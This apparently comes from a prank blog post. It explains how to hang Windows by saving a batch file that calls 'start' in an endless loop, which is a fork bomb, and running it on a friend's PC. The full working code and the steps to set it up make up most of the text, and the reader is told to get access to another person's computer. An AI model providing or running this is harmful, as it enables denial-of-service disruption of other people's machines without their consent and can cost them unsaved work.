The easiest way to get your friends PC hanged!

To hang windows explorer:

Get access to your friend's PC Or try it yourself

• Open Notepad(Start > All Programs > Accessories > Notepad).
• Copy the following code and paste it in notepad.

@echo off

:A

start

goto:A

• From the Menu bar, click on File > Save As. The Save As dialog box opens. 
• Under the Save as type select All Files option. Write a desired name for your file, for example hang.bat [Remember to give a .bat extension to your file name]. 
• Now Open the hang.bat file and see the computer getting hanged!